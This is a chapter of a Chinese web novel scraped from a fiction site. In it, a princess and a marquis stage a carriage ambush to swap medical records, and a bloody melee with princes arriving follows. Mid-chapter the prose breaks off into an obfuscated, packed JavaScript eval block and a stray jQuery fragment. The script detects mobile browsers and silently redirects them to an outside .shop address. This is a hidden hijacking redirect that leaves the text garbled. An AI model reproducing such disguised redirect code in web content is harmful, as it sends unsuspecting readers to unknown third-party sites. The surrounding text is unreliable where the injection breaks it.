文趣网 > 都市小说 > 公主的签到运势大赏 > 7. 混战
    亥时初,夜已深。

    侯府大门的灯笼垂着,穗子无风不动。

    月光从屋檐角下倾斜,凉得像水,流过石阶,淌过砖雕,洒过院落。

    微光把秋则辛的影子拖得很长,他斜靠在檐柱上,长发随意束起,垂着眼帘,周遭的气息比以往更冷。

    这人有时看起来……挺孤独的。

    阳钰忽然有感而发,往侯府大门走着。

    她主动打破沉闷气氛,拍手道:“侯爷,我这身明黄色裙子太显眼了,不用换嘛?”

    秋则辛这才抬眼,道:“不用,夫人只需在劫马车时去昶王府求救。”

    “啊嘞?”阳钰还以为自己听错了,“这不是贼喊抓贼吗?”

    “正是。”秋则辛难得耐心解释,“我安排了一批死士先去劫马车,那时我现身阻止,夫人趁乱把医案换过来。”

    我勒个去,这波在第几层啊?套娃来的。

    阳钰恍然大悟:“然后我再去找昶王,就怀疑不到我们了?”

    秋则辛微微颔首。

    阳钰还是有点不解:“不对,咱俩半夜不睡觉出现在案发现场,依旧很可疑啊。”

    秋则辛把准备替换的假医案递过去,“不必担心,届时自然知晓。”

    见他抬脚就走,阳钰捧着假医案傻眼了,“等等,步行过去啊?不骑马?”

    我还想试试呢。

    “马蹄声会暴露。”

    闻言,阳钰在风中凌乱好一会儿,认命追上前面那道无情的步伐。

    ·

    走了大半柱香,几里路。

    秋则辛依然步履从容,甚至刻意放慢了脚步。

    阳钰都快歇菜了,眼见走进一片小树林,她的警觉性猛地拔高。

    秋则辛瞥了她一眼,冷冷道:“这条小径是通往昶王府的必经之路。”

    啧,不早说,还以为要给我卖了呢。

    收起鬼鬼祟祟的姿态,阳钰开始放肆地左顾右盼,全然没留意前面的人停下脚步,她一不留神直接撞了上去。

    “啊!嘶——”

    我引以为傲的小翘鼻,痛死了。

    没来得及控诉某人急刹,阳钰就被噤声了。

    “嘘。”秋则辛隔空捂住她的嘴,示意她蹲下,指了指另一头。

    “噔噔噔……”

    车轮和马蹄声渐行渐近。

    二人藏匿在草丛后面,阳钰这才望见一辆马车从尽头缓缓驶来,只有一个马夫在上面。

    就一人护送还整辆马车,这不手到擒来嘛。

    “噌噌噌!”

    剧烈的穿林声此起彼伏,几个黑衣人从另一边草丛里突然蹦出来。

    “你安排的人到啦?”阳钰小声问道。

    秋则辛低吟:“时机不对。”

    马车内也有异响,四个正装侍卫破窗而出,应是负责护送医案的。

    喔~里面还藏人了,刺激。

    阳钰正要看打戏,倏忽,“噌”地一声,又有一行人从林间蹿了出来。

    卧槽啥情况?

    阳钰瞪大双眼,看着两拨黑衣人截停马车,把宫内侍卫包围。

    真热闹啊,都可以凑几桌麻将了。

    “侯爷人脉还挺广。”

    阳钰调侃着,却察觉到秋则辛神色凝重。

    “第一拨不是我的人。”

    什么?!

    阳钰还没来得及合上惊掉的下巴,就听秋则辛冷静道:“计划有变,顺着前方再走几十步就是昶王府,夫人先去。”

    事到如今,只能照做了。

    阳钰腿都蹲麻了,没长记性依旧猛起身,两眼一黑身形一晃,往前酿跄的瞬间——

    完、蛋、了。

    刀剑无眼,马夫被吓得刚想逃离,就见旁边草丛里摔出来个姑娘,众人拔剑的动作也齐刷刷一愣。

    苍天呐!我真是傻子吧?!

    再也不吐槽系统给我安排的身份了,我认了。

    没空关心磕破的膝盖,阳钰龇牙咧嘴地朝那伙人挥了挥手,试图蒙混过关:“嗨~我就是个路过的……”

    话音未落,后衣领落了一只有力的大手,她整个人被轻松拎起。

    秋则辛满脸黑线,无奈挡在前面,低声道:“快走。”

    “哦、哦好。”得令的阳钰撒腿就跑,还不忘回头提醒,“你小心哦!”

    秋则辛不语,用金钱镖即刻射杀第一个冲上来的人,随后拾取对方的横刀,刀刃在月光下闪烁着粼粼微光。

    电光石火之间,血战一触即发。

    ·

    阳钰爆发出超越体测的速度,一路狂奔找到一座大院。

    匾额上赫然刻着“昶王府”三个大字,她冲上去猛拍红木门。

    “救、救命啊!快来人呐!”

    几乎是眨眼间,大门从内打开,像是后头的人等候多时。

    看不清来的人面貌,阳钰谨慎退到石阶下,只见——

    男人不过二十五六年纪,眉骨生得流畅,唇角肆意上挑,身着文武袖,腰间悬着长剑,碧青色披风被夜风扯得沙沙响。

    这侍卫看着就气血十足啊,羡慕了。

    阳钰默默称赞,扬声道:“椿斓公主求见昶王殿下,非常紧急,麻烦请通传一下。”

    池南北一僵,“本王就是啊。”

    “诶?”

    二人大眼瞪小眼,互相打量,阳钰感觉很新奇。

    一般的王爷不都很沉稳吗?这位昶王怎么看都像是……热血不良少年。

    池南北直言:“你就是我们那个傻子妹妹?本王从小到大还真是第一次见。”

    敢情昭元国就出了我一个公主,还因为太傻被雪藏了,实惨。

    阳钰抽了抽嘴角,要事在先,她赶紧装作慌张道:“殿下!送医案的马车被劫了!”

    池南北在府里白等这么久,厉声道:“居然有这种事!快带本王速速前去!”

    ·

    两人飞奔到被劫现场时,混战还没结束,池南北抽剑加入打斗。

    秋则辛以一敌四,长剑游龙,暗器频发,杀伐果断,眉眼间尽是凌厉。

    浓重的血腥味四溢,万幸是半夜,血迹不是特别清晰。

    我去,死一片啊,画面太有冲击力了,容我缓一缓。

    阳钰捂住口鼻强迫自己不往地上看,偷偷躲在一颗大树后面。

    这些死士跟前几日的刺客还真不是一个级别的,有点难对付啊。

    阳钰托腮分神着,眼神下意识聚焦在某个游刃有余的背影上。

    肩宽窄腰的,身段也蛮好的,就是性格……卧槽有人偷袭!

    霎时间顾不了那么多,阳钰空翻出去一个飞身踢——

    踢歪了,好在把对方手上的刀踢掉了。

    秋则辛瞬间回过身来,对着偷袭的死士一刀封喉,拂去下颚被溅到的鲜血,随手挽了个剑花,把横刀夹在手臂间划过擦拭。

    阳钰不知是害怕还是兴奋,全身止不住颤抖。

    人生中第一次成功飞身踢!院长妈妈你看到了吗?我成……嘶,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497622|202575||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    等一下。

    我好像暴露了。

    抬眼只见秋则辛漠然盯着她,不知看了多久,金钱镖来回翻转在指尖泛着微光。

    阳钰咽了咽口水。

    我允许你怀疑我的身份,但不要杀我灭口啊!小命很难续的好吗!我宁愿倒计时结束自然死亡。

    月黑风高,簌簌夜风卷着竹叶掠过耳畔,二人的碎发摇曳,气氛愈加危险。

    这时,池南北持着长剑走过来,“都杀完了,你们……在作甚?”

    秋则辛收回复杂的心绪,把捡的横刀一扔,转身拱手道:“见过昶王。”

    池南北点头回应,忽地注意到旁边的阳钰浑身发抖,立即化身正义使者:“她都冻成这样了,筠清侯也不知道给自家夫人披件外衣么?”

    二哥你别添乱行吗?

    阳钰哪敢要,“我不冷……”

    话说到一半,身上就盖了件温凉的外袍,她懵了。

    褪去外袍,里头还有件玄色劲装,秋则辛把护腕重新戴上,没有多看阳钰一眼。

    切,装高冷,刚才还吓唬我呢!

    阳钰吐槽着,又悄悄嗅了嗅外袍上的松柏香。

    真好闻。

    嘶,怎么感觉自己有点像变态痴汉啊……

    阳钰紧急撤回怪异举动,生怕被某人发现又“罪加一等”。

    宫内侍卫和马车夫幸存,其余死士倒一地,有的没死透都已自行服毒。

    确认马车内的医案完好无损,池南北反应过来,警觉地看向夫妻二人,“筠清侯和自家夫人这么晚不休息,在此作甚?”

    秋则辛缄默无言,不慌不乱,似在等待什么。

    阳钰心虚接话:“睡不着,出来溜个弯。”

    “遛弯能遛到几里外的昶王府门口?”

    “那、那我们就不能赴约嘛?”

    “赴谁的约?”

    “呃……”

    顶着池南北的再三追问,阳钰语无伦次,她最不擅长撒谎了。

    院长妈妈没教过这个啊,筠清侯这个木头倒是开口……

    “赴本宫的约。”

    一道温文尔雅的嗓音伴着迅疾的马蹄声,蓦然出现在众人身后。

    秋则辛没有任何惊讶,转身泰然自若道:“见过太子殿下。”

    池知序下马,一身素白,先让宫内侍卫和马夫不准透露任何风声先行退安,随后缓步走来。

    哇塞大半夜的能不穿白袍吗?很吓人的!而且这么多人围在尸堆旁边也太诡异了。

    阳钰只觉得毛骨悚然。

    池南北眯着眼睛,“你们当真有约?”

    “当真。”池知序也不擅长说谎,讪讪道:“中秋将至,我与妹妹妹夫小聚一下,出来……”

    “夜钓。”秋则辛打着圆场。

    阳钰简直没眼看,尴尬症都犯了。

    这谎话也太扯了,鬼信……

    “行吧。”池南北信了。

    牛,终于找到比我还单纯的人了。

    在他们对峙时,阳钰陡然想起裙摆间藏着的假医案没来及换,她瞅了瞅背对着自己的三人,又瞧了瞧无人看管的马车。

    诶嘿,我有一个大胆的想法。

    ……

    问了好几轮,池南北摸了摸下巴,又发现疑点,“可是你们……”

    “不管有什么问题,咱先换个地方聊行吗?”阳钰闻着铁锈味都有点头晕了,举手提议。

    见状,三人默默同意。

    一行人驱马车前往不远处的昶王府。